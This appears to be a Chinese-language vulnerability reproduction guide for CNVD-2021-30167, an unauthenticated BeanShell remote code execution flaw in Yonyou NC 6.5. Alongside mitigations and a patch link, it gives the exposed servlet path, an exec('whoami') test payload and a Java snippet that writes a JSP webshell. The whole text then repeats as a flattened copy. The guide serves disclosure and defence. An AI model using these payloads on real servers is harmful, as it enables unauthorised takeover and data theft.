【CNVD-2021-30167】用友NC BeanShell RCE复现
字数 1120 2025-08-09 17:09:31

用友NC BeanShell RCE漏洞(CNVD-2021-30167)分析与复现指南

1. 漏洞概述

漏洞编号: CNVD-2021-30167
漏洞名称: 用友NC BeanShell远程代码执行漏洞
漏洞类型: 未授权访问 + 远程代码执行
危险等级: 高危
影响组件: 用友NC对外开放的BeanShell接口

漏洞原理

该漏洞源于用友NC系统对外开放了BeanShell接口(/servlet/~ic/bsh.servlet.BshServlet),且未实施适当的访问控制。攻击者可以在未授权的情况下直接访问该接口,通过构造恶意请求执行任意Java代码,进而实现远程代码执行(RCE)。

BeanShell是一个轻量级的Java脚本解释器,能够动态执行Java代码。当系统暴露此类接口且无安全防护时,便形成了严重的安全风险。

2. 影响范围

受影响版本

  • 用友NC6.5版本

潜在危害

  1. 服务器完全控制: 攻击者可获取服务器高权限,可能导致:

    • 蠕虫病毒传播
    • 勒索病毒攻击
    • 挖矿病毒植入
  2. 数据泄露风险:

    • 核心业务数据泄露
    • 敏感信息泄露
  3. 网页篡改风险:

    • 跳转至恶意网站(如博彩页面)
    • 植入暗链
    • 其他内容安全问题

3. 漏洞复现

环境准备

  • 目标系统: 用友NC6.5
  • 测试工具: 浏览器或Burp Suite等HTTP工具

复现步骤

  1. 访问漏洞接口:

    http://[target]/servlet/~ic/bsh.servlet.BshServlet
    

    正常应返回一个可执行代码的输入界面

  2. 执行测试命令:
    在输入框中输入以下Payload并执行:

    exec("whoami");
    
  3. 验证结果:

    • 如果漏洞存在,将返回当前系统用户信息
    • 可尝试其他系统命令如ipconfigifconfig进行进一步验证

高级利用

通过此接口,攻击者可以执行任意Java代码,例如:

  1. 写入Webshell:

    import java.io.*;
    String str = "<% out.println(\"Hello World\"); %>";
    FileOutputStream fos = new FileOutputStream("/path/to/webroot/shell.jsp");
    fos.write(str.getBytes());
    fos.close();
    
  2. 反弹Shell:
    可结合Java的Runtime类执行系统命令建立反向连接

4. 修复建议

临时缓解措施

  1. 立即限制对/servlet/~ic/bsh.servlet.BshServlet路径的访问
  2. 通过网络ACL限制只允许可信IP访问用友NC系统

官方补丁

用友官方已发布安全补丁,建议用户立即更新:

http://umc.yonyou.com/ump/querypatchdetailedmng?PK=18981c7af483007db179a236016f594d37c01f22aa5f5d19

长期防护建议

  1. 定期更新用友NC系统至最新版本
  2. 实施最小权限原则,限制不必要的网络访问
  3. 部署WAF等防护设备,拦截恶意请求
  4. 建立完善的安全监控体系,及时发现异常行为

5. 参考资源

  1. CNVD官方公告
  2. 用友官方安全公告(见补丁链接)

附录: 漏洞验证截图示例

[此处应插入漏洞验证过程的截图,展示命令执行结果]


注意: 本文档仅用于安全研究目的,未经授权对他人系统进行测试属于违法行为。安全研究人员应在获得明确授权的前提下进行漏洞验证工作。

用友NC BeanShell RCE漏洞(CNVD-2021-30167)分析与复现指南 1. 漏洞概述 漏洞编号 : CNVD-2021-30167 漏洞名称 : 用友NC BeanShell远程代码执行漏洞 漏洞类型 : 未授权访问 + 远程代码执行 危险等级 : 高危 影响组件 : 用友NC对外开放的BeanShell接口 漏洞原理 该漏洞源于用友NC系统对外开放了BeanShell接口( /servlet/~ic/bsh.servlet.BshServlet ),且未实施适当的访问控制。攻击者可以在未授权的情况下直接访问该接口,通过构造恶意请求执行任意Java代码,进而实现远程代码执行(RCE)。 BeanShell是一个轻量级的Java脚本解释器,能够动态执行Java代码。当系统暴露此类接口且无安全防护时,便形成了严重的安全风险。 2. 影响范围 受影响版本 用友NC6.5版本 潜在危害 服务器完全控制 : 攻击者可获取服务器高权限,可能导致: 蠕虫病毒传播 勒索病毒攻击 挖矿病毒植入 数据泄露风险 : 核心业务数据泄露 敏感信息泄露 网页篡改风险 : 跳转至恶意网站(如博彩页面) 植入暗链 其他内容安全问题 3. 漏洞复现 环境准备 目标系统: 用友NC6.5 测试工具: 浏览器或Burp Suite等HTTP工具 复现步骤 访问漏洞接口 : 正常应返回一个可执行代码的输入界面 执行测试命令 : 在输入框中输入以下Payload并执行: 验证结果 : 如果漏洞存在,将返回当前系统用户信息 可尝试其他系统命令如 ipconfig 或 ifconfig 进行进一步验证 高级利用 通过此接口,攻击者可以执行任意Java代码,例如: 写入Webshell : 反弹Shell : 可结合Java的Runtime类执行系统命令建立反向连接 4. 修复建议 临时缓解措施 立即限制对 /servlet/~ic/bsh.servlet.BshServlet 路径的访问 通过网络ACL限制只允许可信IP访问用友NC系统 官方补丁 用友官方已发布安全补丁,建议用户立即更新: 长期防护建议 定期更新用友NC系统至最新版本 实施最小权限原则,限制不必要的网络访问 部署WAF等防护设备,拦截恶意请求 建立完善的安全监控体系,及时发现异常行为 5. 参考资源 CNVD官方公告 用友官方安全公告(见补丁链接) 附录: 漏洞验证截图示例 [ 此处应插入漏洞验证过程的截图,展示命令执行结果 ] 注意 : 本文档仅用于安全研究目的,未经授权对他人系统进行测试属于违法行为。安全研究人员应在获得明确授权的前提下进行漏洞验证工作。